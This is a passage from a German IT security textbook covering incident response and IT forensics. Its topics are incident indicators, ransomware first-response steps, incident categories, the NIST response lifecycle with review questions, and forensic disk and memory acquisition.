Durch ein geplantes Vorgehen kann zusätzlich sichergestellt werden, dass keine Überreaktion auf einen detektierten Angriff erfolgt. Sonst besteht die Gefahr, dass der Schaden durch die Abwehrmaßnahmen größer wird, als der, den der Angreifer verursacht. Ein kleines Beispiel: Bei einem Security-Incident in einem Bereich eines Krankenhauses wurde festgestellt, dass auf einem Gruppenlaufwerk eines Fileservers verschlüsselte Dateien lagen. Die Verantwortlichen vermuteten einen Ransomwareangriff mit der Infektion des Dateiservers. Aus Sicherheitsgründen wurde der gesamte Dateidienst abgeschaltet, was dazu führte, dass die gesamte IT des Krankenhauses vollständig lahm gelegt wurde. Die forensische Analyse des Vorfalls ergab im Nachhinein, dass lediglich ein einzelner Client
228
12 Incident Response
kompromittiert war, von dem der Angriff ursächlich ausging. Das Abschalten dieses einen Rechners hätte genügt, um den Angriff abzuwehren. Komponenten, die einen Security-Incident auslösen, könnten zum Beispiel Schadcode sein, der sich im Netzwerk der Einrichtung ausbreitet. Darunter fallen Virusinfektionen, die Installation von Trojanern, die massenhafte Infektion durch einen Wurm oder bösartige Scripte, die in einem Dateisystem entdeckt werden. Ein IDS könnte auch unautorisierte Zugriffe melden, die vom CERT untersucht werden müssen. Dazu gehören zum Beispiel der unerlaubte Zugriff auf Daten, unautorisierte Aktivitäten auf einem Account oder die Erweiterung von Berechtigungen eines Accounts (Privilege Escalation). Ein CERT könnte auch durch entdeckte Spionageaktivitäten aktiviert werden. Darunter fallen das Stehlen oder Manipulieren von Daten, entdeckte Man-in-the-Middle-Angriffe, der Diebstahl von Geräten oder die Übertragung von Daten an ungewöhnliche externe IPAdressen (Exfiltrierung von Daten). Auch das erhöhte Aufkommen von Phishingmails, oder E-Mails mit angehängtem Schadcode können Security-Incidents auslösen, genau so wie aggressive Scans nach bekannten Sicherheitslücken. Angriffe können sowohl offensichtlich als auch verdeckt ausgeführt werden. Offensichtliche Angriffe sind zum Beispiel die Modifikation von Webseiten (Defacement) oder DoSAngriffe. Auch Ransomwareangriffe fallen in der Regel sofort auf, sobald die ersten Server nicht mehr korrekt funktionieren. Sollte es sich um einen Fall der Erpressung handeln, wird dieser natürlich ebenfalls sofort offensichtlich. Verdeckte Angriffe wirken sich eher auf die Systemperformance aus oder verursachen ungewöhnliche Abstürze einzelner Systeme. Auch wenn Nutzer melden, dass sie nicht mehr auf ihren Account zugreifen können oder auch unklare Fehlfunktionen häufen, wird ein CERT aktiv. Ausgehend von einem System können auffällige Einträge in Logdateien oder auffällige Verbindungen in der Firewall (besonders von innen nach außen) Security-Incidents auslösen. Die Erstellung eines neuen Accounts ohne Wissen eines Administrators, der Verlust von Dateien im Laufwerk, Hinweise auf Systemmanipulation sowie deaktivierte Sicherheitskomponenten, wie zum Beispiel ein Virenscanner, sind ebenfalls ein Anzeichen für einen Security-Incident. Häufig sind es externe Quellen, die auf einen IT-Sicherheitsvorfall hinweisen: Hinweise von anderen Einrichtungen (z. B. CERTs) oder Hinweise von Sicherheitsbehörden zu einer konkreten Bedrohung. Bei Spam- oder Phishingwellen, die von externen Einrichtungen gemeldet werden, wird ein CERT aktiviert.
12.2
12.2
Sofortmaßnahmen im Falle eines Angriffs
229
Sofortmaßnahmen im Falle eines Angriffs
Wurde ein Sicherheitsvorfall erkannt und sind die Cyberkriminellen bereits in ein Netzwerk eingedrungen, gilt es schnell zu handeln. Damit keine Informationen über den Angriff verloren gehen, sollten eine Reihe von Sofortmaßnahmen durchgeführt werden, die im Rahmen des Incident-Response-Prozesses zuvor festgelegt sind. Am Beispiel eines Ransomwareangriffs könnten diese Sofortmaßnahmen zum Beispiel sein: • Trennen aller Netzwerkverbindungen. Diese Maßnahme unterbricht die Kommunikation der Angreifer mit den Systemen im angegriffenen Netz. Gleichzeitig kann so die weitere Ausbreitung verhindert werden und externe Dienstleister, die Zugriff auf das Netzwerk besitzen, werden geschützt.. • Meldung an Verantwortliche für IT-Sicherheit und CERT. Nach einer ersten Analyse der Lage können weitere Nachweise zum Angriff gesammelt werden. Je nach Schwere des Angriffs ist hier auch die weitere Eskalation an die Leitungsebene erforderlich. Da zu diesem Zeitpunkt unklar ist, ob Daten ausgeleitet wurden, ist auch eine Meldung an den Datenschutzbeauftragten sinnvoll. • IT-Notfall ausrufen. Je nach Schwere des Cyberangriffs kann es notwendig sein, einen IT-Notfall auszurufen. Das führt zur Einbeziehung weiterer Einrichtungen wie Polizei, LKA, Datenschutzbehörde usw. Für schwerwiegende IT-Sicherheitsvorfälle gibt es auch je nach Einrichtung spezifische Meldefristen, die eingehalten werden müssen. • Snapshots erstellen. Von allen virtualisierten Systemen, die noch nicht verschlüsselt sind, sollten Snapshots angefertigt und offline gelagert werden. Auch wenn diese Systeme ggf. schon infiziert sind, lassen sich später dennoch Konfigurationen und unverschlüsselte Daten auslesen. • Ausgangspunkt des Angriffs ermitteln (Patient 0). Durch eine Analyse, wo die verschlüsselten Dateien liegen, lassen sich die Angriffswege eingrenzen. Das hilft bei der Zurücknahme der ersten Sofortmaßnahmen. Systeme, bei denen ausgeschlossen werden kann, dass sie betroffen sind, können für den Notbetrieb wieder ans Netz gehen. • Protokolldateien sichern. Firewalls, Proxyserver, Domänencontroller und viele Serverdienste legen Protokolldateien an, die für eine spätere Analyse wertvoll sind. Um für die Forensiker eine Datengrundlage zu schaffen, ist es notwendig, diese Daten zu sichern und offline zu speichern. Die Gefahr ist groß, dass diese Dateien bei dem Angriff gelöscht oder beschädigt werden. • Übergabe an interne oder externe IT-Spezialisten. Da ein solcher Vorfall in schweren Fällen die Expertise der Systemadministratoren in der Regel übersteigt, ist für die professionelle Aufarbeitung das Einbeziehen professioneller Hilfe in Form von IT-Forensikern oder Ermittlungsbehörden erforderlich.
230
12 Incident Response
Welche Sofortmaßnahmen greifen und welche über das Ziel hinausschießen, muss natürlich von Fall zu Fall neu bestimmt werden. Es macht keinen Sinn, ein komplettes Netzwerk lahmzulegen, nur weil irgendwo ein Kryptotrojaner in einem E-Mail-Verzeichnis entdeckt wurde. Genauso wenig ist es sinnvoll, untätig zu sein oder halbherzig gegen einen Sicherheitsvorfall vorzugehen. Diese Sofortmaßnahmen helfen, die übersicht zu bewahren. Sie sollten deshalb im Rahmen des Incident-Response-Prozesses im Vorfeld festgelegt werden.
12.3
Klassifizierung eines Security-Incidents
Je nach Schwere des Security-Incidents muss ein vollständiger Incident-Response-Prozess durchlaufen werden. Oft bestehen auch Meldepflichten für Incidents mit eng vorgegebenen Zeitvorgaben (z. B. innerhalb von 72 h nach Entdeckung des Vorfalls an das Landes-CERT). Weniger schwerwiegende Vorfälle führen nicht automatisch zum Durchlaufen des Incident-Response-Prozesses. Die Meldungen über Portscans ist nur dann ein Vorfall, wenn gezielt auf Systemen nach bekannten Sicherheitslücken gescannt wird, die auf dem System zum Zeitpunkt des Scans auch tatsächlich bestehen. Meldungen von Virenscannern über Viren, die in Quarantäne gestellt wurden, sind auch eher kleinere Incidents, denn die Viren konnten mit hoher Wahrscheinlichkeit keinen Schaden verursachen. Die amerikanische Umweltbehörde [1] verwendet beispielsweise die folgende Klassifizierung von IT-Security-Incidents auf Regierungssysteme nach den Vorgaben in Tab. 12.1. Diese Kategorien sind nicht nach Schwere eines Incidents sortiert. Die unterschiedlichen Kategorien beschreiben lediglich verschiedene Arten von Ereignissen, für die unterschiedliche Maßnahmen empfohlen und Meldepflichten abgeleitet werden. Kategorie „CAT 0“ umfasst IT-Sicherheitsübungen und Penetration-Tests der Netzwerkinfrastruktur. Hier sind keine Abwehrmaßnahmen erforderlich. Die Kategorie „CAT 1“ fasst Ereignisse zusammen, bei denen festgestellt wurde, dass eine Person einen logischen oder physikalischen Zugang zu einem System, eine Netzwerkkomponente, Daten oder eine andere Ressource erhalten hat, die nicht für diese Person bestimmt ist. Die Kategorie „CAT 2“ beinhaltet DoS-Angriffe. DoS wird definiert als jegliche Art von Angriff, bei dem eine Ressource durch überlastung nicht mehr wie gewohnt zur Verfügung steht. Dabei wird nicht unterschieden, ob ein System Opfer oder Mitglied eines Botnetzes ist. Alle Arten von Malware (Virus, Trojaner, Wurm oder andere codebasierte Malware) fällt in die Kategorie „CAT 3“. Eine auffällige Nutzung, also Vorfälle, bei denen ein regulärer Nutzer gegen die Auflagen oder Bestimmungen verstößt, fällt in Kategorie „CAT 4“. Die Kategorie „CAT 5“ umfasst alle Arten von aktiven Port-Scans, die dazu dienen, offene Ports oder Systeme für einen späteren Angriff zu identifizieren. Hier wird nicht vorausgesetzt, dass diese Aktivität auch tatsächlich für einen konkreten Angriff verwendet wird. Die letzte Kategorie „CAT 6“ dient der Wiedervorlage. Hier werden alle Ereignisse mit Bezug zur IT-Sicherheit zusammengefasst, die unbestätigt
12.4
Der Incident-Response-Prozess
231
Tab. 12.1 Incident-Kategorien Kategorie
Name
CAT 0
Exercise/Network Defense Diese Kategorie wird für IT-Notfallübungen verwendet Testing Unautorisierter Zugriff Ein Angreifer erhält unautorisierten Zugriff oder physikalischen Zugang ohne Erlaubnis auf das Netzwerk Denial of Service (DoS) Ein Angriff, der erfolgreich den normalen Betrieb von Netzwerken, Systeme oder Anwendungen beeinflusst, indem er Ressourcen vollständig ausschöpft Schadcode Erfolgreiche Installation von Schadsoftware, die ein Betriebssystem oder eine Anwendung infiziert Unberechtigte Nutzung Eine Person verstößt gegen die Nutzungsrichtlinien für das Netzwerk oder die Systeme Scans/Versuche/ Diese Kategorie beinhaltet alle Aktivitäten um offene Zugangsversuche Ports, Protokolle und Dienste, mit dem Ziel zu scannen und sie später auszunutzen. Diese Aktivität führt nicht zwangsläufig zu einer Kompromittierung eines Dienstes Ermittlung Unbestätigte Vorfälle, die potenziell böswillige Aktivitäten beinhalten und die eine weitere Untersuchung benötigen
CAT 1
CAT 2
CAT 3 CAT 4 CAT 5
CAT 6
Beschreibung
sind, aber trotzdem dem Verdacht obliegen, potenziell schadhaft zu sein, damit diese weiter untersucht wird. Dieser Katalog an IT-Vorfällen kommt bei allen Systemen zum Einsatz, die im Rahmen der Verwaltung oder in Ministerien eingesetzt werden.
12.4
Der Incident-Response-Prozess
Der Incident-Response-Prozess ist das streng formale Vorgehen bei der Abwehr eines ITSecurity-Incidents. Dabei werden mehrere Ziele verfolgt: • • • • •
Der Schaden soll möglichst begrenzt werden. Die Hintergründe und der Ablauf des Vorfalls soll aufgeklärt werden. Die Arbeitsfähigkeit soll wiederhergestellt werden. Es soll sichergestellt werden, dass sich der gleiche Vorfall nicht wiederholen kann. Rechtlichen Randbedingungen müssen eingehalten werden.
232
12 Incident Response
Abb. 12.2 Typischer Ablauf eines Incident-Response-Prozesses
Man kann den Incident-Response-Prozess als einfachen Prozess nach dem NIST Computer Security Incident Handling Guide betrachten, eine Unterteilung in Unterprozesse Eindämmung, Beseitigung und Wiederherstellung ist aber sinnvoll. Ein typischer IncidentResponse-Lebenszyklus durchläuft demnach die folgenden Phasen (Abb. 12.2): 1. Vorbereitung/Preparation: Die Vorbereitungsphase liegt vor dem Auftreten eines konkreten Sicherheitsvorfalls und dient dazu, sicherzustellen, dass ausreichend Personal und Material zur Verfügung steht, alle Mitglieder des CERT im Hinblick auf ihre Rollen und Verantwortlichkeiten bei der Reaktion auf Cybervorfälle angemessen geschult sind. übungsszenarien und regelmäßig „Schein-Angriffe“ helfen, das Playbook zu evaluieren und zu optimieren. Das CERT prüft regelmäßig, ob die vorgeschriebenen Präventionsmaßnahmen umgesetzt sind. 2. Vorfallerkennung/Identification: Wird ein potenzieller Cyberangriff oder eine mögliche Datenschutzverletzung erkannt, kommt der Incident-Response-Prozess ins Rollen. Die durch den Vorfall betroffenen Komponenten müssen identifiziert werden, denn nur wenn alle betroffenen Systeme identifiziert sind, können in den nächsten Phasen alle erforderlichen Maßnahmen getroffen werden. Werden betroffene Systeme übersehen, besteht die Gefahr, dass der Vorfall nach einer vermeintlichen Beseitigung wieder von vorne beginnt. Das zuerst aufgefallene System kann Hinweise auf mögliche weitere
12.4
Der Incident-Response-Prozess
233
Systeme geben. Diese Phase erfordert zunächst eine gründliche Sichtung der Informationen der beteiligten Systeme. Besonders wichtig ist die Sicherstellung aller Logdaten, die verfügbar sind, da Logdaten oft sehr zeitnah überschrieben werden. Um Schäden durch Ausfälle und Beeinträchtigungen möglichst gering zu halten, muss der befallene Bereich möglichst genau bestimmt werden, deshalb sollten keine Systeme unnötig außer Betrieb gesetzt werden. Ein Verschlüsselungsvorfall auf einem Fileserver lässt sich meist auf wenige Clients zurückführen. Wichtig ist auch eine exakte Protokollführung. Das Protokoll wird benötigt, um im Nachgang Entscheidungsabläufe und rechtliche Fragen klären zu können. Im Protokoll sollten folgende Fragen beantwortet werden: Wann fand der Angriff statt? Wer hat ihn entdeckt? Welche Bereiche sind betroffen? Wurde die Ursache, die Schwachstelle oder der Einstiegspunkt bereits identifiziert? Welche Auswirkungen hat der Vorfall auf den laufenden Betrieb? In dieser Phase muss auch eine erste Benachrichtigung der Nutzer erfolgen. 3. Eindämmung/Containment: Bei der Eindämmung des Vorfalls soll sichergestellt werden, dass kein weiterer Schaden entsteht. Das CERT muss zwar schnell, aber dennoch behutsam vorgehen. Anstatt alle betroffenen Dateien einfach zu löschen oder einfach aus dem Backup wiederherzustellen, sollte die Schadsoftware zunächst nur an der weiteren Ausbreitung gehindert werden. Auf diese Weise bleiben wichtige Hinweise auf den Ursprung des Vorfalls bewahrt und das CERT kann lernen, was der Angreifer tut, um z. B. weitere beteiligte Systeme zu identifizieren. Dabei sollte sichergestellt sein, dass der Angreifer im Notfall umgehend ausgesperrt werden kann. Das kann dadurch erfolgen, dass der Zugang zu den vermuteten Zielsystemen oder Daten unterbunden oder Firewallregeln und Zugangsregeln verschärft werden. Der Angreifer soll möglichst keine Hinweise auf seine Entdeckung erhalten. Mithilfe der gesammelten Informationen soll ein möglichst komplettes Bild des Angriffs erstellt werden. Diese Erkenntnisse helfen auch bei der Entwicklung von IOC (Indicators of Compromise), anhand derer Befallene Systeme erkannt werden können. Generell sollten alle betroffenen Systeme unbedingt gesichert werden, um sie später forensisch untersuchen zu können. 4. Vollständige Beseitigung/Remedation: Auf der Basis der Informationen die gesammelt wurden, entscheidet das CERT über die Beseitigung des Angreifers und der durch ihn verursachten Schäden. Das bedeutet, dass sämtliche Schaddateien umfänglich entfernt, die betroffenen Systeme neu aufgesetzt, gehärtet und gepatcht und sämtliche Updates installiert werden müssen. Hier ist äußerste Gründlichkeit gefragt, da Rückstände von Malware oder übersehene Sicherheitslücken oder Backdoors eine Wiederholung des Vorfalls bedeuten könnten. Alle Zugangswege des Angreifers werden gesperrt. Dazu gehören Firewallregeln, die IP-Adressen oder Domainnamen des Angreifers sperren. Falls der Angreifer physikalischen Zugang zum Netz hatte, gilt es die Systeme zu identifizieren und abzuschalten. In allen betroffenen Bereichen muss ein Passwortwechsel erzwungen werden. Zur Qualitätssicherung ist es notwendig, dass die Umsetzung aller Maßnahmen überwacht, protokolliert und überprüft wird. Spätestens zu diesem Zeitpunkt muss eine weitere Benachrichtigung und Ankündigung zur Rückkehr in den Normalbetrieb erfolgen.
234
12 Incident Response
5. Wiederherstellung/Recovery: Wenn zweifelsfrei feststeht, dass alle Systeme sicher und frei von Malware sowie alle Backdoors entfernt sind, erfolgt die Rückkehr zum regulären Betrieb. Dabei muss sichergestellt und überwacht werden, dass alle Systeme wieder im vollen Umfang funktionsfähig sind. Die überwachung erfolgt durch Monitoring-Maßnahmen, die auf den gewonnenen Informationen aus der Phase „Eindämmung“ basieren. Jetzt kann die Mitteilung erfolgen, dass der Vorfall erfolgreich abgewehrt wurde. 6. Gewonnene Erkenntnisse/Lessons Learned: Sobald der Wiederherstellungsprozess abgeschlossen ist, sollten alle Mitglieder des CERT den Vorfall analysieren. In einem Meeting werden die gewonnenen Erkenntnisse, eventuelle Verbesserungen in der Vorgehensweise und die Zusammenarbeit im Team evaluiert. Im Zentrum steht die Frage: Was kann getan werden, um ähnliche Vorfälle zukünftig zu verhindern? Die Maßnahmen und Erkenntnisse werden in einem Incident Response Playbook zusammengefasst. Ein IR-Playbook bietet somit eine detaillierte Anleitung für den Umgang mit einem Incident, der sich am Incident-Response-Prozess orientiert Es enthält Detailinformationen zur Kommunikation, zum Ablauf der Bearbeitung und zu den Dokumentationspflichten. Damit stellt es eine einheitliche Vorgehensweise in der Bearbeitung eines zukünftigen Security-Incidents sicher.
12.5
Aufgaben & Lösungen zu diesem Kapitel
12.5.1 Aufgaben 12.1 Welche Phase gehört nicht zu einem IR-Zyklus nach NIST? 1. 2. 3. 4. 5.
Eindämmung, Entfernung & Wiederherstellung Detektion & Analyse Vorbereitung Notfallübungen Nachbearbeitung
12.2 Nennen Sie einige Indikatoren für einen Security-Incident. 12.3 Nennen Sie einige Sofortmaßnahmen im Falle eines detektierten Angriffs. 12.4 Was ist keine Incident-Kategorie? 1. Ermittlung
12.5
2. 3. 4. 5.
Aufgaben & Lösungen zu diesem Kapitel
DoS unberechtigte Nutzung Ransomwareangriff Unautorisierter Zugriff
12.5 Wie ist der Lebenszyklus eines IR-Prozesses?
12.5.2 Lösungen 12.1 Antwort 4. 12.2 Hinweise sind: • • • •
Hinweis eines Intrusion-Detection-Systems (IDS oder IPS) Warnung durch externe Einrichtungen Indicator of Compromise (IoC) Ungewöhnliches Verhalten der IT-Systeme (IoA).
12.3 Sofortmaßnahmen sind: • • • • • • •
Trennen aller Netzwerkverbindungen Meldung an Verantwortliche für IT-Sicherheit und CERT IT-Notfall ausrufen Snapshots erstellen Patient 0 ermitteln Protokolldateien sichern übergabe an interne oder externe IT-Spezialisten
12.4 Antwort 4. 12.5 Der vollständige Zyklus lautet: 1. 2. 3. 4. 5.
Vorbereitung Vorfallerkennung Eindämmung Vollständige Beseitigung Gewonnene Erkenntnisse
Am Ende beginnt der Zyklus von vorn.
235
236
12 Incident Response
Literatur 1. EPA Chief Information Officer: information Security - Incident Response Procedures. https:// www.epa.gov/sites/default/files/2016-01/documents/cio_2150-p-08.2.pdf (2018). Aufgerufen am 30. Sep. 2022 2. Cichonski, P., Millar, T., Grance, T., Scarfone, K.: Computer Security Incident Handling Guide. https://csrc.nist.gov/publications/detail/sp/800-61/rev-2/final (2012). Aufgerufen am 30. Sep. 2022
IT-Forensik
13
Ist ein Angriff erfolgreich abgewehrt, die Angreifer sind wieder aus dem Netzwerk entfernt und das CERT hat es geschafft, die Systeme wieder ans Netz zu bekommen, ist der richtige Zeitpunkt zu analysieren, auf welche Weise die Angreifer ursprünglich ins Netz gekommen sind, wie lange sie dort Zugriff hatten und auf welchen Systemen sie sonst noch unterwegs waren. Hier geht es auch darum zu erfahren, welche typischen Verhaltensmuster die Angreifer an den Tag legen und ob sie eventuell Spuren hinterlassen haben, mit denen sie vielleicht sogar identifiziert werden könnten. Diesen Schritt nennt man Computerforensik oder kurz Forensik. Die IT-Forensik ist der eigentliche Grund warum es wichtig ist, im Rahmen des IncidentResponse-Prozesses die Daten und Logfiles während des Angriffs zu sichern und die Festplatten nicht einfach zu säubern. Jeder Angriff hinterlässt Spuren. Diese auszuwerten hilft, weitere Einrichtungen zu warnen und ähnliche Angriffe im eigenen Netz zu verhindern. Dabei unterscheidet man zwei unterschiedliche Arten von Zielsetzungen: die kriminalistische Forensik und die technische Forensik. Bei der kriminalistischen Forensik geht es um gerichtsfeste Beweissicherung. Im Rahmen von forensischen Untersuchungen sollen Beweise für Fehlverhalten einer oder mehrerer Person gefunden und gesichert werden, um zum Beispiel Straftaten wie Kinderpornografie, Betrug oder Wirtschaftskriminalität gegen Personen oder Organisationen zu beweisen. Die kriminalistische Forensik ist Sache der Behörden wie LKA, BKA, oder Verfassungsschutz, die diese kriminalistischen Beweisaufnahmen durchführen. Diese Art der Forensik wird deshalb hier nicht weiter untersucht. Bei der technischen Forensik geht es mehr darum, die Art, Quelle und Umfang eines Angriffs zu untersuchen. Es sollen dabei möglichst umfassende Informationen über beteiligte Systeme und abgeflossene oder manipulierte Daten gewonnen werden. Die Ziele der technischen Forensik ist die Klärung folgender Fragen:
© Der/die Autor(en), exklusiv lizenziert an Springer-Verlag GmbH, DE, ein Teil von Springer Nature 2023 U. Kebschull, Computer Hacking, https://doi.org/10.1007/978-3-662-67030-9_13
237
238
• • • • •
13 IT-Forensik
Wurde ein bestimmtes System erfolgreich angegriffen? Welche Auswirkungen hatte der Angriff? Wie war der zeitliche Ablauf? Wurden Daten entwendet oder manipuliert? Sind weitere Systeme betroffen und müssen diese untersucht werden?
Um einen IT-Vorfall vollständig zu beschreiben, wird der Ablauf des Angriffs auf der Basis einer CERT-Taxonomie [1] in Abb. 13.1 beschrieben. Voraussetzung für den Einsatz dieser CERT-Taxonomie ist, dass der Angreifer eine bestimmte Absicht verfolgt. Das Ziel der Taxonomie ist, mit dem Minimum der zu beschreibenden Begriffe, den Vorfall so präzise wie möglich zu beschreiben. Die gesamte Taxonomie ist dabei wie folgt zu interpretieren: Ein Angreifer nutzt mithilfe eines oder mehrerer Werkzeuge eine bestimmte Schwachstelle im Computer bzw. in einem Computernetz aus. Dadurch kann dieser bestimmte Aktionen ausführen, welche ein ganz konkretes Ziel verfolgen. Das Ergebnis des Angriffs ist dann das eigentliche Resultat, welches der Angreifer durch eine bestimmte Absicht verfolgt hat. Es ist ersichtlich, dass das eigentliche Ereignis nur Teil eines größeren Ganzen ist [1]. Das methodische Vorgehen zur Beantwortung dieser Fragen erfolgt nach dem SecureAnalyse-Present-Modell. In der Secure-Phase werden die potenziell relevanten Daten identifiziert und gesichert. Bei der Sicherung muss abgewogen werden, welche Modifikation der Daten bei der Sicherung akzeptabel sind. So kann es beispielsweise akzeptabel sein, Datenveränderung auf einer Festplatte zu akzeptieren, wenn volatile Daten gesichert werden sollen. Zur Analyse der gesicherten Daten stehen einige Werkzeuge zur Verfügung. Die Analysemethode richtet sich nach dem zu untersuchenden Sachverhalt. In der PresentPhase werden die Ergebnisse zielgruppengerecht so aufbereitet, dass sie auch von Dritten nachvollzogen werden können.
13.1
Sicherungsphase
Bei der Beweissicherung muss zwischen volatilen und persistenten Daten unterschieden werden. Am besten wäre natürlich, wenn man sowohl persistente als auch die volatilen Daten gesichert werden können. Leider wird zum Beispiel mit der Sicherung des Arbeitsspeichers auch Festplattenplatz überschrieben, sodass eventuell wichtige Daten auf der Festplatte, wie zum Beispiel ältere Speicherauszüge oder gelöschte Bereiche, überschrieben werden können. Insbesondere die nicht belegten Speicherbereiche sind für forensische Untersuchungen besonders wertvoll, da hier oft noch gelöschte Dateien vorhanden sind, die rekonstruiert werden können.
13.1
Sicherungsphase
239
Abb. 13.1 CERT-Taxonomie
13.1.1 Persistente Daten Persistente Daten sind auf Speichermedien gespeichert und stehen deshalb (fast) immer zur Verfügung Diese Daten können mithilfe geeigneter Werkzeuge ausgewertet werden. Zu diesen Speichermedien gehören Festplatten, USB Speicher, vom System auf andere Server geschrieben Daten (z. B. Netzwerkspeicher, Cloudspeicher, Serverprofildaten). Von diesen Speichermedien muss immer erst einmal ein Image der Originaldaten angefertigt werden.
240
13 IT-Forensik
Nur diese Kopie wird anschließend ausgewertet, um sicherzustellen, dass die ursprünglichen Daten nicht doch versehentlich modifiziert werden. Vor der Anfertigung der Kopien muss geklärt sein, ob die Notwendigkeit besteht, diese Daten manipulationssicher zu kopieren. Es muss also festgestellt werden, ob die gewonnen Erkenntnisse später vor Gericht verwendet werden sollen und können. Vorsicht: beim initialen Anlegen von Kopien ist das Ausmaß eines Vorfalls nicht bekannt, weshalb man die Kopien nicht ohne Weiteres anfertigen sollte. Es muss sichergestellt sein, dass bei der Anfertigung des Images spezieller Hardware zum Blockieren schreibender Zugriffe (Write Blocker) verwendet wird, um Originalbeweise nicht zu verändern. Ein Backup, das forensischen Anforderungen entspricht, muss zwei Bedingungen entsprechen: Es darf die Daten auf der Festplatte nicht modifizieren, was dadurch gewährleistet wird, dass die Festplatte nur lesbar eingebunden wird. Darüber hinaus muss am Ende eine Prüfsumme erstellt werden, die sicherstellt, dass die Kopie exakt dem ursprünglichen Inhalt der Festplatte entspricht und deren Daten bei den forensischen Untersuchungen nicht verändert wurde. Die einfachste Möglichkeit eine Festplatte zu kopieren besteht mit dem Unix-Befehl dd (disk dump). Mit dd können beliebige Dateien blockorientiert kopiert werden. Die Blockgröße liegt dabei zwischen einem Byte und Vielfachen der Blockgröße des Dateisystems. Für weitergehende Untersuchungen existieren spezialisierter Programme und Formate, die bitweise Kopien anfertigen oder zusätzlich auch die Daten aus freigegebenen Speicherbereiche kopieren, damit diese ebenfalls forensisch ausgewertet werden können. Letzteres ist für forensische Untersuchungen besonders relevant, da Dateien beim Löschen nicht wirklich physikalisch auf der Festplatte entfernt, sondern lediglich deren Eintrag im Directory modifiziert wird. Haben Angreifer versucht, Logfiles oder andere Dateien zu löschen oder zu manipulieren, hat man hier die Chance, diese Manipulationsversuche nachzuweisen. Besondere Herausforderungen sind die zunehmende Verbreitung von SSDs, die zu weniger Möglichkeiten führt, gelöschte Dateien auszuwerten sowie fest verbauter Massenspeicher, der im System selbst ausgewertet werden muss. Der Einsatz von Schreibblockern wird dadurch erschwert. Eine Möglichkeit solche Platten auszuwerten besteht darin, den Rechner über den USB-Anschluss mit einem anderen Betriebssystem, wie zum Beispiel ein spezielles für forensische Untersuchungen vorbereitetes Linux, zu starten und die zu untersuchenden Platten Read-Only (RO) zu mounten. Als Dateiformat für die Sicherung von Daten hat sich das Ecase Image File als Defacto-Standard etabliert. Hier bei handelt es sich um ein komprimiertes Image-File, das in Stücken zu je 640 MB gesichert wird. Diese können dann direkt auf CDs für die weitere Untersuchung gesichert werden.
13.2
Analysephase
241
13.1.2 Volatile Daten Durch das zunehmende Auftreten von Schadsoftware, die auf den persistenten Medien nur schwer oder gar nicht nachweisbar ist, wird die Sicherung von volatilen Daten immer wichtiger. Für die Sicherungen müssen Prozesse zur Akquise von Speicher zur Verfügung stehen. Aus diesem Grund sollte im Verdachtsfall immer geprüft werden, ob Speicher gesichert werden kann. Hier ist die schnelle Abwägung von Risiken notwendig: Analysesoftware muss installiert und das System muss gegen Abschalten und potenzielle Manipulation gesichert werden. Sogenannte Maus-Jiggler sind hilfreich, die an einem USB-Port automatisch als USB-Maus erkannt werden. Maus-Jiggler bewegen alle paar Sekunden die Maus um ein paar Pixel in eine zufällige Richtung und verhindern damit, dass das zum Beispiel ein Notebook in den Energiesparmodus übergeht oder ein Bildschirmschoner anspringt, ohne in die Konfiguration des Systems einzugreifen. Wenn bei der Sicherstellung der Daten eines Rechners mit einem Windows-Betriebssystem kein Speicherauszug erstellt werden konnte, kann immer noch nach HibernationFiles (Hiberfil.sys), nach Page- (pagefile.sys) und Swap-Files (swapfile.sys) oder nach Memory-Dumps (memory.dmp) gesucht werden. Unter Umständen finden diese sich auch in freigegebenen Sektoren der Festplatte, die über ein Undelete wieder hergestellt werden können. Wenn kein Tool bereitsteht, kann durch den Übergang in den Ruhemodus bei WindowsSystemen ein Speicherauszug erzwungen und die Datei „hiberfile.sys“ erstellt werden. Diese Datei hat dann dieselbe Größe wie der physisch vorhandene Arbeitsspeicher und enthält alle Daten, die das laufende System vor dem Übergang in den Ruhezustand im Arbeitsspeicher hatte. Ein System im Ruhezustand sollte keinesfalls wieder eingeschaltet werden, denn die in der „hiberfil.sys“-Datei enthaltenen Daten könnten überschrieben werden. Deshalb sollte die Festplatte) ausgebaut und wie weiter oben beschrieben ausgelesen werden. Bei virtuellen Maschinen kann (muss) der virtuelle Speicher vom Virtualisierungssystem genutzt werden, da die normalen Werkzeuge unter Umständen kein konsistentes Ergebnis liefern. Das Werkzeug „Volume Shadow Copy“ liefert unter Umständen alte Speicherabbilder von unterschiedlichen Zeitpunkten in älteren Hibernation-Files.
13.2
Analysephase
Für das Erkennen von Anomalien ist eine möglichst exakte Kenntnis der untersuchten Systeme erforderlich. Angreifer verstecken ihre Prozesse oder Daten meist so gut, dass sie im laufenden System kaum auffallen. So ist der Dienst mit dem Namen C:\Windows\System32\spoolsv.exe für die Verwaltung der Druckerwarteschlange verantwortlich. Findet sich hingegen im Task-Manager ein Dienst C:\Windows\System32\printsv.exe,
242
13 IT-Forensik
wurde das System vermutlich gehackt, denn ein Dienst mit diesem Namen ist nicht Bestandteil des Windows-Betriebssystems. Das Beispiel zeigt, dass die Spuren unter Umständen sehr gut verwischt sind: Die Angreifer nutzen oft die Namen von Standarddiensten, die aus untypischen Verzeichnissen aus gestartet wurden oder sie nutzen Namen, die sich an den korrekten Bezeichnungen der Dienste orientieren. Je nach Ausbildungsstand des forensischen Untersuchungsteams müssen deshalb unter Umständen externe Spezialisten zu Rate hinzugezogen werden. Ein aus dem Speicher gewonnener Anhaltspunkt führt mithilfe einer Zeitleiste, die die Reihenfolge der Aktionen darstellt, anschließend zu weiteren Ansätzen der Analyse. Das Open-Source-Sicherheitstool „Volatility“ [2] kann zur Analyse von volatilem Speicher eingesetzt werden. Es kann sowohl für die RAM-Analyse von 32/64-Bit-Systemen verwendet werden als auch für die Analyse von Windows-, Linux-, Mac- und AndroidSystemen. Das Volatility Framework ist in der Skriptsprache Python implementiert und kann problemlos auf Linux- und Windows-Betriebssystemen installiert und eingesetzt werden. Es kann 32- und 64-Bit-Windows-Crash-Dumps, Hibernation-Dateien genauso einlesen und verarbeiten wie Virtualbox-Core-Speicherauszüge sowie VMware Saved State (.vmss) und Snapshot (.vmsn). Mit dem Volatile-Plug-in cmdscan können die letzten ausgeführten Befehle eines kompromittierten Rechners aufgelistet werden. Hilfreich bei der initialen Analyse können sog. Baselines, also Referenzinstallationen der Systeme sein. Baselines sind detaillierte Informationen über das System aus einem sicheren Zustand, der garantiert ohne die zu untersuchende Schadfunktion als Vergleichsobjekt zur Verfügung steht. Dabei gibt es gibt verschiedene Möglichkeiten Baselines in die Analyse mit einzubeziehen: Administratoren 